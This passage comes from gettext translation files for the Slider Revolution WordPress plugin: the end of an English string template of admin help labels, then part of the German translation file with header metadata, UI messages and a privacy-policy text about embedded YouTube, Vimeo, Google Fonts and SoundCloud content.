admin/includes/help.class.php:2873 msgid "The url for the fallback image if a fallback is used for IE8/Mobile" msgstr "" #: admin/includes/help.class.php:6096 msgid "The url for the locally loaded HTML5 Audio" msgstr "" #: admin/includes/help.class.php:6080 msgid "The url for the locally loaded HTML5 Video" msgstr "" #: admin/includes/help.class.php:5520 msgid "The url to go to when the Slide is clicked" msgstr "" #: admin/includes/help.class.php:10214 msgid "The url to navigate to for the 'Simple Link' Action" msgstr "" #: admin/includes/help.class.php:6515 msgid "The vertical alignment for content inside a row/column" msgstr "" #: admin/includes/help.class.php:7345 msgid "" "The vertical offset for the box-shadow" msgstr "" #: admin/includes/help.class.php:7425 msgid "" "The vertical offset for the text-shadow" msgstr "" #: admin/includes/help.class.php:6487 msgid "" "The vertical-align value for the row in relation to the Module's height (top," " middle or bottom)" msgstr "" #: admin/includes/help.class.php:5026 msgid "The video url to be used as the Slide's main background" msgstr "" #: admin/includes/help.class.php:6195 msgid "" "The video's poster image will be populated automatically from the Slider's " "Video-Stream source" msgstr "" #: admin/includes/help.class.php:4628 msgid "The width of the navigation preview image" msgstr "" #: admin/includes/help.class.php:5066 admin/includes/help.class.php:6141 msgid "This value should match the video's original aspect ratio" msgstr "" #: admin/includes/help.class.php:4192 msgid "Thumbnails Type/Style" msgstr "" #: admin/includes/help.class.php:4455 msgid "Thumbs Animation" msgstr "" #: admin/includes/help.class.php:4471 msgid "Thumbs Animation Speed" msgstr "" #: admin/includes/help.class.php:4487 msgid "Thumbs Show Delay" msgstr "" #: admin/includes/help.class.php:10138 msgid "Timeline Scroll Based" msgstr "" #: admin/includes/help.class.php:2593 msgid "Timeline Scroll Effects" msgstr "" #: admin/includes/help.class.php:4937 msgid "Title Attribute" msgstr "" #: admin/includes/help.class.php:10476 msgid "Toggle (add/remove) a Layer's class name on user-interaction" msgstr "" #: admin/includes/help.class.php:10565 msgid "Toggle a video or audio's play state on user-interaction" msgstr "" #: admin/includes/help.class.php:10442 msgid "Toggle any given Layer's animation in and out of view" msgstr "" #: admin/includes/help.class.php:10473 msgid "Toggle Class" msgstr "" #: admin/includes/help.class.php:10632 msgid "Toggle Fullscreen" msgstr "" #: admin/includes/help.class.php:10439 msgid "Toggle Layer Animation" msgstr "" #: admin/includes/help.class.php:10562 msgid "Toggle Media Play/Pause" msgstr "" #: admin/includes/help.class.php:10596 msgid "Toggle Mute (All) Media" msgstr "" #: admin/includes/help.class.php:10403 msgid "Toggle Slider" msgstr "" #: admin/includes/help.class.php:10599 msgid "" "Toggle sound from a single video or audio Layer, or toggle all video/audio " "sound that exists in the Slide" msgstr "" #: admin/includes/help.class.php:10635 msgid "Toggle the Slider fullscreen and non-fullscreen on user-interaction" msgstr "" #: admin/includes/help.class.php:966 admin/includes/help.class.php:1085 #: admin/includes/help.class.php:1139 admin/includes/help.class.php:1271 #: admin/includes/help.class.php:1368 admin/includes/help.class.php:1452 msgid "Total Slides" msgstr "" #: admin/includes/help.class.php:7882 admin/includes/help.class.php:8429 #: admin/includes/help.class.php:8864 admin/includes/help.class.php:9879 msgid "Transform Origin X" msgstr "" #: admin/includes/help.class.php:7895 admin/includes/help.class.php:8446 #: admin/includes/help.class.php:8880 admin/includes/help.class.php:9892 msgid "Transform Origin Y" msgstr "" #: admin/includes/help.class.php:7908 admin/includes/help.class.php:8463 #: admin/includes/help.class.php:8896 admin/includes/help.class.php:9905 msgid "Transform Origin Z" msgstr "" #: admin/includes/help.class.php:7774 admin/includes/help.class.php:9918 msgid "Transform Perspective" msgstr "" #: admin/includes/help.class.php:1555 msgid "Transition" msgstr "" #: admin/includes/help.class.php:1563 admin/includes/help.class.php:5273 msgid "Transition Duration" msgstr "" #: admin/includes/help.class.php:9746 msgid "Transition Easing" msgstr "" #: admin/includes/help.class.php:9733 msgid "Transition Speed" msgstr "" #: admin/includes/help.class.php:7735 admin/includes/help.class.php:8253 msgid "TranslateX" msgstr "" #: admin/includes/help.class.php:7748 admin/includes/help.class.php:8270 msgid "TranslateY" msgstr "" #: admin/includes/help.class.php:7761 admin/includes/help.class.php:8287 msgid "TranslateZ" msgstr "" #: admin/includes/help.class.php:10459 msgid "Trigger a jQuery click event on any given Layer" msgstr "" #: admin/includes/help.class.php:10525 msgid "Trigger Memory" msgstr "" #: admin/includes/help.class.php:2423 msgid "Triggered By" msgstr "" #: admin/includes/help.class.php:13 msgid "Tutorial" msgstr "" #: admin/includes/help.class.php:17 msgid "Tutorials" msgstr "" #: admin/includes/help.class.php:703 msgid "Twitter" msgstr "" #: admin/includes/help.class.php:10248 msgid "" "Use a traditional HTML hyperlink tag or trigger the Action via a jQuery event" msgstr "" #: admin/includes/help.class.php:2009 msgid "" "Use an alternate transition when for the first slide when the Slider firsts " "loads" msgstr "" #: admin/includes/help.class.php:2960 admin/includes/help.class.php:2968 msgid "Use Cover as Modal" msgstr "" #: admin/includes/help.class.php:3678 admin/includes/help.class.php:4159 msgid "Use Custom Style" msgstr "" #: admin/includes/help.class.php:559 msgid "Use Image" msgstr "" #: admin/includes/help.class.php:3181 admin/includes/help.class.php:3480 #: admin/includes/help.class.php:3961 admin/includes/help.class.php:4442 msgid "Use RTL language alignment for the Arrow positioning" msgstr "" #: admin/includes/help.class.php:412 msgid "" "Useful for allocating space for a page's menu or footer. Accepts a jQuery " "selector such as '.menu' or 'footer'." msgstr "" #: admin/includes/help.class.php:425 msgid "" "Useful for allocating space for a page's menu or footer. Enter a px or % " "value." msgstr "" #: admin/includes/help.class.php:2902 msgid "" "Useful for solving a conflict when the current theme runs filters over the " "page's main content" msgstr "" #: admin/includes/help.class.php:1165 msgid "User Handle" msgstr "" #: admin/includes/help.class.php:1124 msgid "User Name" msgstr "" #: admin/includes/help.class.php:1019 msgid "User URL" msgstr "" #: admin/includes/help.class.php:1491 msgid "User/Album/Group/Channel" msgstr "" #: admin/includes/help.class.php:2341 msgid "Varing Scale" msgstr "" #: admin/includes/help.class.php:2249 msgid "Varying Fade" msgstr "" #: admin/includes/help.class.php:2295 msgid "Varying Rotation" msgstr "" #: admin/includes/help.class.php:2192 admin/includes/help.class.php:6512 #: admin/includes/help.class.php:7101 msgid "Vertical Align" msgstr "" #: admin/includes/help.class.php:5049 admin/includes/help.class.php:6033 msgid "Video from Stream" msgstr "" #: admin/includes/help.class.php:5167 admin/includes/help.class.php:6397 msgid "Video Speed" msgstr "" #: admin/includes/help.class.php:6047 msgid "Video Type" msgstr "" #: admin/includes/help.class.php:5154 msgid "Video Volume" msgstr "" #: admin/includes/help.class.php:6384 msgid "Video/Audio Volume" msgstr "" #: admin/includes/help.class.php:730 msgid "Vimeo" msgstr "" #: admin/includes/help.class.php:5010 msgid "Vimeo Video ID" msgstr "" #: admin/includes/help.class.php:5374 msgid "Visible in Navigation" msgstr "" #: admin/includes/help.class.php:7705 msgid "Wait for Action" msgstr "" #: admin/includes/help.class.php:1929 msgid "Wait for API" msgstr "" #: admin/includes/help.class.php:1800 msgid "Wait/Pause" msgstr "" #: admin/includes/help.class.php:1942 msgid "" "When the Slider is disabled on mobile it will only be loaded on desktop-" "based devices" msgstr "" #: admin/includes/help.class.php:3858 admin/includes/help.class.php:4339 msgid "Width" msgstr "" #: admin/includes/help.class.php:676 msgid "WooCommerce" msgstr "" #: admin/includes/help.class.php:1523 admin/includes/help.class.php:10893 msgid "Wrapper Classes" msgstr "" #: admin/includes/help.class.php:4389 msgid "Wrapper Color" msgstr "" #: admin/includes/help.class.php:10880 msgid "Wrapper ID" msgstr "" #: admin/includes/help.class.php:1259 msgid "" "Your Twitter App's" " Access Secret" msgstr "" #: admin/includes/help.class.php:1246 msgid "" "Your Twitter App's" " Access Token" msgstr "" #: admin/includes/help.class.php:1220 msgid "" "Your Twitter App's" " Consumer Key" msgstr "" #: admin/includes/help.class.php:1233 msgid "" "Your Twitter App's" " Consumer Secret" msgstr "" #: admin/includes/help.class.php:1356 msgid "" "Your Facebook App's App Secret" msgstr "" #: admin/includes/help.class.php:1343 msgid "" "Your Facebook App's ID" msgstr "" #: admin/includes/help.class.php:721 msgid "YouTube" msgstr "" #: admin/includes/help.class.php:4997 msgid "YouTube Video ID" msgstr "" #: admin/includes/help.class.php:5206 admin/includes/help.class.php:6440 msgid "YouTube/Vimeo Arguments" msgstr "" #: admin/includes/help.class.php:6061 msgid "YouTube/Vimeo ID" msgstr "" #: admin/includes/help.class.php:9493 msgid "Yoyo Filters" msgstr "" #: admin/includes/help.class.php:8914 msgid "Yoyo Movement" msgstr "" #: admin/includes/help.class.php:9372 msgid "Yoyo Rotation" msgstr "" #: admin/includes/help.class.php:9217 msgid "Yoyo Scaling" msgstr "" #: admin/includes/help.class.php:9759 msgid "zIndex" msgstr "" #: admin/includes/help.class.php:1683 admin/includes/help.class.php:5628 msgid "Zoom End Percentage" msgstr "" #: admin/includes/help.class.php:1672 admin/includes/help.class.php:5612 msgid "Zoom Start Percentage" msgstr "" #: admin/includes/help.class.php:2315 msgid "Zoom the non-active items by a certain percentage" msgstr "" #: admin/includes/help.class.php:2328 msgid "Zoom the non-active items by this percentage" msgstr "" languages/revslider-de_DE.po000060400000651551151724235750012033 0ustar00# Loco Gettext template msgid "" msgstr "" "Project-Id-Version: Slider Revolution\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-06-28 07:35+0000\n" "POT-Revision-Date: Tue Aug 04 2015 14:53:44 GMT+0200 (CEST)\n" "PO-Revision-Date: 2019-11-12 08:18+0000\n" "Last-Translator: admin \n" "Language-Team: German\n" "Language: de_DE\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-Basepath: .\n" "X-Poedit-KeywordsList: __;_e;_:1;gettext:1;dgettext:2;ngettext:1,2;dngettext:" "2,3;__:1;_e:1;_c:1;_n:1,2;_n_noop:1,2;_nc:1,2;__ngettext:1,2;__ngettext_noop:" "1,2;_x:1,2c;_ex:1,2c;_nx:1,2,4c;_nx_noop:1,2,3c;_n_js:1,2;_nx_js:1,2,3c;" "esc_attr__:1;esc_html__:1;esc_attr_e:1;esc_html_e:1;esc_attr_x:1,2c;" "esc_html_x:1,2c;comments_number_link:2,3;t:1;st:1;trans:1;transChoice:1,2\n" "X-Loco-Target-Locale: en_US\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.3.1; wp-5.2.4\n" "X-Poedit-SearchPath-0: ..\n" #: revslider.php:147 msgid "" "If you want to use the PHP function \"add_revslider\" in your code please " "make sure to activate " msgstr "" "Wenn Sie die PHP Funktion \"add_revslider\" in Ihrem Code verwenden möchten, " "aktivieren Sie diese bitte unbedingt " #: revslider.php:148 msgid "\"Include RevSlider libraries globally\" " msgstr "\"RevSlider-Bibliotheken global einbeziehen\" " #: revslider.php:149 msgid "and/or add the current page to the " msgstr "und/oder füge die aktuelle Seite zu " #: revslider.php:150 msgid "\"Pages to include RevSlider libraries\" option " msgstr "\"Seiten mit RevSlider-Bibliotheken\" Option " #: revslider.php:151 msgid "in the \"Global Settings\" of Slider Revolution." msgstr "in den \"Globalen Einstellungen \" von Slider Revolution." #: revslider.php:201 msgid "Revolution Slider Error:" msgstr "Revolution Slider Fehler:" #: includes/woocommerce.class.php:43 msgid "Product" msgstr "Produkt" #: includes/woocommerce.class.php:44 msgid "Product Variation" msgstr "Produktvariation" #: includes/woocommerce.class.php:130 admin/views/builder-slider-forms.php:636 msgid "Regular Price" msgstr "Regulärer Preis" #: includes/woocommerce.class.php:131 admin/views/builder-slider-forms.php:640 msgid "Sale Price" msgstr "Verkaufspreis" #: includes/woocommerce.class.php:132 msgid "Number Of Sales" msgstr "Anzahl der Verkäufe" #: includes/woocommerce.class.php:133 msgid "Featured Products" msgstr "Hervorgehobene Produkte" #: includes/woocommerce.class.php:134 admin/views/modals-builder.php:594 msgid "SKU" msgstr "SKU" #: includes/woocommerce.class.php:135 admin/views/modals-builder.php:596 msgid "Stock Quantity" msgstr "Bestandsmenge" #: includes/slide.class.php:257 msgid "Slide ID" msgstr "Slide ID" #: includes/slide.class.php:873 msgid "Source must be from Stream" msgstr "Die Quelle muss von Stream stammen" #: includes/slide.class.php:1961 admin/revslider-admin.class.php:1991 #: admin/views/builder-slide-forms.php:480 msgid "Global Layers" msgstr "Globale Layers" #: includes/output.class.php:5686 msgid "" "No slides found, please add at least one Slide Template to the choosen " "language." msgstr "" "Keine Slides gefunden. Fügen Sie der ausgewählten Sprache mindestens ein " "Slide Template hinzu." #: includes/output.class.php:5688 msgid "No slides found, please add some slides" msgstr "Keine Slides gefunden, bitte fügen Sie einige Slides hinzu" #: includes/output.class.php:5857 msgid "Please follow this link to edit the Slider:" msgstr "Bitte folgen Sie diesem Link, um den Slider zu bearbeiten:" #: includes/external-sources.class.php:385 msgid "Can't get the bearer token, check your credentials" msgstr "" "Der Inhaber-Token kann nicht abgerufen werden. Überprüfen Sie Ihre " "Anmeldeinformationen" #: includes/external-sources.class.php:438 msgid "Bearer Token is good, check your query" msgstr "Inhaber-Token ist gut, überprüfen Sie Ihre Anfrage" #: includes/external-sources.class.php:592 msgid "Instagram reports: Parse script error" msgstr "Instagram: Parse-Skriptfehler" #: includes/external-sources.class.php:598 msgid "Instagram reports: Content did not match expected" msgstr "Instagram: Inhalte stimmen nicht überein" #: includes/external-sources.class.php:601 msgid "Instagram reports: Content is private" msgstr "Instagram: Inhalt ist privat" #: includes/em-integration.class.php:32 msgid "All Events" msgstr "Alle Veranstaltungen" #: includes/em-integration.class.php:33 msgid "Today" msgstr "Heute" #: includes/em-integration.class.php:34 msgid "Tomorrow" msgstr "Morgen" #: includes/em-integration.class.php:35 msgid "Future" msgstr "Zukünftig" #: includes/em-integration.class.php:36 msgid "Past" msgstr "Vergangene" #: includes/em-integration.class.php:37 msgid "This Month" msgstr "Diesen Monat" #: includes/em-integration.class.php:38 msgid "Next Month" msgstr "Nächster Monat" #: includes/em-integration.class.php:160 msgid "Event Start Date" msgstr "Ereignis-Startdatum" #: includes/em-integration.class.php:161 msgid "Event End Date" msgstr "Ereignis-Enddatum" #: includes/data.class.php:35 msgid "Loaded Google Fonts" msgstr "Geladene Google Fonts" #: includes/data.class.php:38 includes/data.class.php:39 #: includes/data.class.php:40 msgid "Serif Fonts" msgstr "Serifen-Schriften" #: includes/data.class.php:43 includes/data.class.php:44 #: includes/data.class.php:45 includes/data.class.php:46 #: includes/data.class.php:47 includes/data.class.php:48 #: includes/data.class.php:49 includes/data.class.php:50 msgid "Sans-Serif Fonts" msgstr "Sans-Serif Schriften" #: includes/data.class.php:53 includes/data.class.php:54 msgid "Monospace Fonts" msgstr "Monospace Schriften" #: includes/data.class.php:65 msgid "Google Fonts" msgstr "Google Fonts" #: includes/data.class.php:199 msgid "Original" msgstr "Original" #: includes/data.class.php:200 includes/data.class.php:242 #: includes/data.class.php:257 msgid "Large" msgstr "Groß" #: includes/data.class.php:201 msgid "Large Square" msgstr "Großes Quadrat" #: includes/data.class.php:202 includes/data.class.php:232 #: includes/data.class.php:241 includes/data.class.php:256 msgid "Medium" msgstr "Medium" #: includes/data.class.php:203 msgid "Medium 800" msgstr "Medium 800" #: includes/data.class.php:204 msgid "Medium 640" msgstr "Medium 640" #: includes/data.class.php:205 includes/data.class.php:240 msgid "Small" msgstr "Klein" #: includes/data.class.php:206 msgid "Small 320" msgstr "Klein 320" #: includes/data.class.php:207 includes/data.class.php:214 #: includes/data.class.php:226 includes/data.class.php:255 #: admin/views/builder-slide-forms.php:20 msgid "Thumbnail" msgstr "Vorschaubild" #: includes/data.class.php:208 msgid "Square" msgstr "Quadrat" #: includes/data.class.php:213 includes/data.class.php:220 msgid "Standard Resolution" msgstr "Standard Auflösung" #: includes/data.class.php:215 msgid "Low Resolution" msgstr "Niedrige Auflösung" #: includes/data.class.php:225 includes/data.class.php:254 #: admin/views/builder-slide-forms.php:709 msgid "Original Size" msgstr "Original Größe" #: includes/data.class.php:231 admin/views/builder-nav-forms.php:838 #: admin/views/modals-builder.php:323 admin/views/modals-builder.php:324 #: admin/views/modals-builder.php:325 admin/views/modals-builder.php:326 #: admin/views/builder-slide-forms.php:296 #: admin/views/builder-slide-forms.php:301 #: admin/views/builder-slide-forms.php:306 #: admin/views/builder-slide-forms.php:565 msgid "Default" msgstr "Voreinstellung" #: includes/data.class.php:233 msgid "High" msgstr "Hoch" #: includes/data.class.php:234 msgid "Standard" msgstr "Standard" #: includes/data.class.php:235 msgid "Max. Res." msgstr "Max. Res." #: includes/functions.class.php:85 msgid "Slider Revolution encountered the following error: " msgstr "Slider Revolution hat den folgenden Fehler festgestellt: " #: includes/functions.class.php:225 msgid " should be numeric" msgstr " sollte numerisch sein" #: includes/functions.class.php:235 msgid " should not be empty" msgstr " sollte nicht leer sein" #: includes/functions.class.php:1161 msgid "Wrong category format" msgstr "Falsches Kategorieformat" #: includes/functions.class.php:1563 #, php-format msgid "View all posts in %s" msgstr "Zeige alle Beiträge in %s" #: includes/wpml.class.php:39 msgid "The WPML plugin is not activated" msgstr "Das WPML-Plugin ist nicht aktiviert" #: includes/wpml.class.php:55 includes/wpml.class.php:128 msgid "All Languages" msgstr "Alle Sprachen" #: includes/object-library.class.php:206 includes/object-library.class.php:219 #: includes/object-library.class.php:321 msgid "Plugin not activated" msgstr "Plugin nicht aktiviert" #: includes/object-library.class.php:248 includes/object-library.class.php:345 msgid "No data received" msgstr "Keine Daten empfangen" #: includes/object-library.class.php:252 includes/object-library.class.php:270 #: includes/object-library.class.php:273 msgid "Error downloading object" msgstr "Fehler beim Herunterladen des Objekts" #: includes/object-library.class.php:310 msgid "Error downloading layers" msgstr "Fehler beim Herunterladen von Layern" #: includes/object-library.class.php:349 includes/object-library.class.php:356 msgid "Error downloading layers data" msgstr "Fehler beim Herunterladen der Layerdaten" #: includes/slider.class.php:665 msgid "Slide not found in the main slides of the slider. Maybe it" msgstr "Slide nicht in den Hauptslides des Sliders gefunden. Vielleicht" #: includes/slider.class.php:950 msgid "A Slider with the given alias already exists" msgstr "Ein Slider mit dem angegebenen Alias existiert bereits" #: includes/slider.class.php:1359 includes/slider.class.php:1366 #: includes/slider.class.php:1374 msgid "Slide could not be duplicated" msgstr "Slide konnte nicht dupliziert werden" #: includes/slider.class.php:1483 msgid "This Source Type must be from posts." msgstr "Dieser Quelltyp muss von Beiträgen stammen." #: includes/slider.class.php:1626 includes/slider.class.php:1641 msgid "Sorry, this Social Stream cannot be displayed." msgstr "Dieser Social Stream kann leider nicht angezeigt werden." #: includes/navigation.class.php:241 msgid "Invalid ID" msgstr "Ungültige ID" #: includes/navigation.class.php:244 msgid "Navigation could not be deleted" msgstr "Navigation konnte nicht gelöscht werden" #: includes/navigation.class.php:520 msgid "Can't modify a default preset of default navigations" msgstr "" "Standardvoreinstellung der Standardnavigation kann nicht geändert werden" #: includes/navigation.class.php:536 includes/navigation.class.php:576 msgid "Preset handle already exists, please choose a different name" msgstr "" "Das vor eingestellte Handle existiert bereits. Bitte wählen Sie einen " "anderen Namen" #: includes/navigation.class.php:636 msgid "Navigation not found, could not add preset" msgstr "" "Navigation nicht gefunden, Voreinstellung konnte nicht hinzugefügt werden" #: includes/navigation.class.php:671 msgid "Can't delete default preset of default navigations" msgstr "" "Standardvoreinstellung der Standardnavigation kann nicht gelöscht werden" #: includes/navigation.class.php:673 msgid "Preset not found in default navigations" msgstr "Voreinstellung nicht in Standardnavigationen gefunden" #: includes/navigation.class.php:685 admin/revslider-admin.class.php:920 msgid "Preset not found" msgstr "Voreinstellung nicht gefunden" #: includes/navigation.class.php:710 msgid "Navigation not found, could not delete preset" msgstr "Navigation nicht gefunden, Voreinstellung konnte nicht gelöscht werden" #: includes/extension.class.php:47 admin/includes/widget.class.php:14 msgid "Slider Revolution" msgstr "Slider Revolution" #: includes/extension.class.php:105 msgid "Choose Revolution Slider" msgstr "Wählen Sie einen Revolution Slider" #: includes/extension.class.php:109 msgid "--- Choose Slider ---" msgstr "--- Slider auswählen ---" #: admin/revslider-admin.class.php:246 msgid "Choose Slide Template" msgstr "Wählen Sie ein Slide Template" #: admin/revslider-admin.class.php:404 msgid "" "Activate Slider Revolution for Premium Benefits (e.g. " "Live Updates)." msgstr "" "Aktivieren Sie Slider Revolution für Premium-Vorteile (z. B. " "Live-Updates) ." #: admin/revslider-admin.class.php:415 msgid "A new version of Slider Revolution is available." msgstr "Eine neue Version von Slider Revolution ist verfügbar." #: admin/revslider-admin.class.php:436 msgid "" "

            In case you’re using Google Web Fonts (default) or playing videos or " "sounds via YouTube or Vimeo in Slider Revolution we recommend to add the " "corresponding text phrase to your privacy police:

            \n" "\t\t

            YouTube

            Our website uses plugins from YouTube, which is " "operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave." ", San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a " "YouTube plugin, a connection to the YouTube servers is established. Here the " "YouTube server is informed about which of our pages you have visited.

            " "If you're logged in to your YouTube account, YouTube allows you to associate " "your browsing behavior directly with your personal profile. You can prevent " "this by logging out of your YouTube account.

            YouTube is used to help " "make our website appealing. This constitutes a justified interest pursuant " "to Art. 6 (1) (f) DSGVO.

            Further information about handling user data," " can be found in the data protection declaration of YouTube under " "https://www.google.de/intl/de/policies/privacy.

            \n" "\t\t

            Vimeo

            Our website uses features provided by the Vimeo video " "portal. This service is provided by Vimeo Inc., 555 West 18th Street, New " "York, New York 10011, USA.

            If you visit one of our pages featuring a " "Vimeo plugin, a connection to the Vimeo servers is established. Here the " "Vimeo server is informed about which of our pages you have visited. In " "addition, Vimeo will receive your IP address. This also applies if you are " "not logged in to Vimeo when you visit our plugin or do not have a Vimeo " "account. The information is transmitted to a Vimeo server in the US, where " "it is stored.

            If you are logged in to your Vimeo account, Vimeo " "allows you to associate your browsing behavior directly with your personal " "profile. You can prevent this by logging out of your Vimeo account.

            " "For more information on how to handle user data, please refer to the Vimeo " "Privacy Policy at " "https://vimeo.com/privacy.

            \n" "\t\t

            Google Web Fonts

            For uniform representation of fonts, this " "page uses web fonts provided by Google. When you open a page, your browser " "loads the required web fonts into your browser cache to display texts and " "fonts correctly.

            For this purpose your browser has to establish a " "direct connection to Google servers. Google thus becomes aware that our web " "page was accessed via your IP address. The use of Google Web fonts is done " "in the interest of a uniform and attractive presentation of our plugin. This " "constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If " "your browser does not support web fonts, a standard font is used by your " "computer.

            Further information about handling user data, can be found " "at " "https://developers.google.com/fonts/faq and in Google's privacy policy " "at " "https://www.google.com/policies/privacy/.

            \n" "\t\t

            SoundCloud

            On our pages, plugins of the SoundCloud social " "network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T " "3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the " "SoundCloud logo on our site.

            \n" "\t\t\t

            When you visit our site, a direct connection between your browser " "and the SoundCloud server is established via the plugin. This enables " "SoundCloud to receive information that you have visited our site from your " "IP address. If you click on the “Like” or “Share” buttons while you are " "logged into your SoundCloud account, you can link the content of our pages " "to your SoundCloud profile. This means that SoundCloud can associate visits " "to our pages with your user account. We would like to point out that, as the " "provider of these pages, we have no knowledge of the content of the data " "transmitted or how it will be used by SoundCloud. For more information on " "SoundCloud’s privacy policy, please go to https://soundcloud." "com/pages/privacy.

            If you do not want SoundCloud to associate your " "visit to our site with your SoundCloud account, please log out of your " "SoundCloud account.

            " msgstr "" "

            Wenn Sie Google Web Fonts (Standardeinstellung) verwenden oder Videos " "oder Sounds über YouTube oder Vimeo in Slider Revolution abspielen, " "empfehlen wir, der Privacy Police die entsprechende Textphrase hinzuzufügen: " " n t t

            YouTube

            Unsere Website verwendet Plugins von " "YouTube, die von Google betrieben werden. Der Betreiber der Seiten ist " "YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, USA.

            Wenn Sie " "eine unserer Seiten mit einem YouTube-Plugin besuchen, wird eine Verbindung " "zu den YouTube-Servern hergestellt. Hier wird dem YouTube-Server mitgeteilt, " "welche unserer Seiten Sie besucht haben.

            Wenn Sie in Ihrem YouTube-" "Konto angemeldet sind, können Sie Ihr Surfverhalten direkt mit Ihrem " "persönlichen Profil verknüpfen. Sie können dies verhindern, indem Sie sich " "von Ihrem YouTube-Konto abmelden.

            YouTube wird verwendet, um " "unsere Website ansprechend zu gestalten. Dies ist ein berechtigtes Interesse " "im Sinne von Art. 6 (1) (f) DSGVO.

            Weitere Informationen zum " "Umgang mit Nutzerdaten finden Sie in der Datenschutzerklärung von YouTube " "unter https://www.google.de/intl/de/policies/privacy " ". n t t < h3> Vimeo

            Unsere Website verwendet Funktionen " "des Vimeo-Videoportals. Dieser Service wird von Vimeo Inc., 555 West 18th " "Street, New York, 10011 New York, USA, bereitgestellt.

            Wenn Sie " "eine unserer Seiten mit einem Vimeo-Plugin besuchen, wird eine Verbindung zu " "den Vimeo-Servern hergestellt . Hier wird dem Vimeo-Server mitgeteilt, " "welche unserer Seiten Sie besucht haben. Außerdem erhält Vimeo Ihre IP-" "Adresse. Dies gilt auch, wenn Sie beim Besuch unseres Plugins nicht bei " "Vimeo angemeldet sind oder keinen Vimeo-Account haben. Die Informationen " "werden an einen Vimeo-Server in den USA übertragen und dort gespeichert.

            Wenn Sie in Ihrem Vimeo-Konto angemeldet sind, können Sie mit Vimeo " "Ihr Surfverhalten direkt mit Ihrem persönlichen Profil verknüpfen. Sie " "können dies verhindern, indem Sie sich von Ihrem Vimeo-Konto abmelden. " "

            Weitere Informationen zum Umgang mit Benutzerdaten finden Sie in den " "Vimeo-Datenschutzbestimmungen unter https://vimeo.com/privacy . n t t " "

            Google Webfonts

            Für Diese Seite verwendet von Google " "bereitgestellte Web-Schriftarten. Wenn Sie eine Seite öffnen, lädt Ihr " "Browser die erforderlichen Web-Schriftarten in Ihren Browser-Cache, um Texte " "und Schriftarten korrekt anzuzeigen.

            Zu diesem Zweck muss Ihr " "Browser eine direkte Verbindung mit den Servern von Google herstellen. " "Google wird dadurch bewusst, dass unsere Webseite über Ihre IP-Adresse " "aufgerufen wurde. Die Verwendung von Google Webfonts erfolgt im Interesse " "einer einheitlichen und ansprechenden Darstellung unseres Plugins. Dies ist " "ein berechtigtes Interesse im Sinne von Art. 6 (1) (f) DSGVO.

            Wenn " "Ihr Browser keine Web-Schriftarten unterstützt, wird von Ihrem Computer eine " "Standard-Schrift verwendet.

            Weitere Informationen zum Umgang mit " "Benutzerdaten können sein finden Sie unter https://developers.google." "com/fonts/faq und in Google-Datenschutzbestimmungen unter https:" "//www.google.com/policies/privacy/. n t t

            SoundCloud

            Auf unseren Seiten befinden sich Plugins des sozialen Netzwerks " "SoundCloud (SoundCloud Limited, Berners House, 47-48 Berners Street, London " "W1T 3NF , UK) kann integriert werden. Die SoundCloud-Plugins sind an dem " "SoundCloud-Logo auf unserer Site zu erkennen. n t t t

            Wenn Sie " "unsere Site besuchen, wird über das Plugin eine direkte Verbindung zwischen " "Ihrem Browser und dem SoundCloud-Server hergestellt . Dadurch kann " "SoundCloud von Ihrer IP-Adresse Informationen erhalten, die Sie auf unserer " "Website abgerufen haben. Wenn Sie auf die Schaltflächen \"Gefällt mir\" oder " "\"Teilen\" klicken, während Sie in Ihrem SoundCloud-Konto angemeldet sind, " "können Sie den Inhalt unserer Seiten mit Ihrem SoundCloud-Profil verknüpfen. " "Dies bedeutet, dass SoundCloud Besuche auf unseren Seiten Ihrem " "Benutzerkonto zuordnen kann. Wir weisen darauf hin, dass wir als Anbieter " "der Seiten keine Kenntnis vom Inhalt der übermittelten Daten sowie deren " "Nutzung durch SoundCloud erhalten. Weitere Informationen zu den " "Datenschutzbestimmungen von SoundCloud finden Sie unter https://soundcloud." "com/pages/privacy.

            Wenn Sie nicht möchten, dass SoundCloud Ihren " "Besuch auf unserer Website mit Ihrem SoundCloud-Konto verknüpft, melden Sie " "sich bitte an aus Ihrem SoundCloud-Konto. " #: admin/revslider-admin.class.php:484 msgid "Function Not Available in Demo Mode" msgstr "Funktion im Demo-Modus nicht verfügbar" #: admin/revslider-admin.class.php:506 admin/revslider-admin.class.php:512 msgid "Function Only Available for Adminstrators" msgstr "Funktion nur für Administratoren verfügbar" #: admin/revslider-admin.class.php:521 msgid "Bad Request" msgstr "Ungültige Anforderung" #: admin/revslider-admin.class.php:532 msgid "The Purchase Code needs to be set!" msgstr "Der Purchase Code muss eingesetzt werden!" #: admin/revslider-admin.class.php:537 msgid "Plugin successfully activated" msgstr "Plugin erfolgreich aktiviert" #: admin/revslider-admin.class.php:539 admin/includes/template.class.php:60 msgid "Purchase Code is invalid" msgstr "Der Purchase Code ist ungültig" #: admin/revslider-admin.class.php:542 msgid "Purchase Code already registered!" msgstr "Purchase Code bereits registriert!" #: admin/revslider-admin.class.php:544 msgid "Purchase Code was locked, please contact the ThemePunch support!" msgstr "" "Der Purchase Code wurde gesperrt, bitte wenden Sie sich an den ThemePunch-" "Support!" #: admin/revslider-admin.class.php:546 msgid "Purchase Code could not be validated" msgstr "Purchase Code konnte nicht überprüft werden" #: admin/revslider-admin.class.php:553 msgid "Plugin deregistered" msgstr "Plugin abgemeldet" #: admin/revslider-admin.class.php:555 msgid "Deregistration failed!" msgstr "Abmeldung fehlgeschlagen!" #: admin/revslider-admin.class.php:569 msgid "Saved" msgstr "Gespeichert" #: admin/revslider-admin.class.php:580 msgid "Connection to Update Server Failed" msgstr "Verbindung zum Update-Server fehlgeschlagen" #: admin/revslider-admin.class.php:631 admin/revslider-admin.class.php:693 msgid "Slider Import Failed" msgstr "Slider-Import fehlgeschlagen" #: admin/revslider-admin.class.php:634 msgid "Template Slider Import Failed" msgstr "Import des Template Sliders fehlgeschlagen" #: admin/revslider-admin.class.php:645 msgid 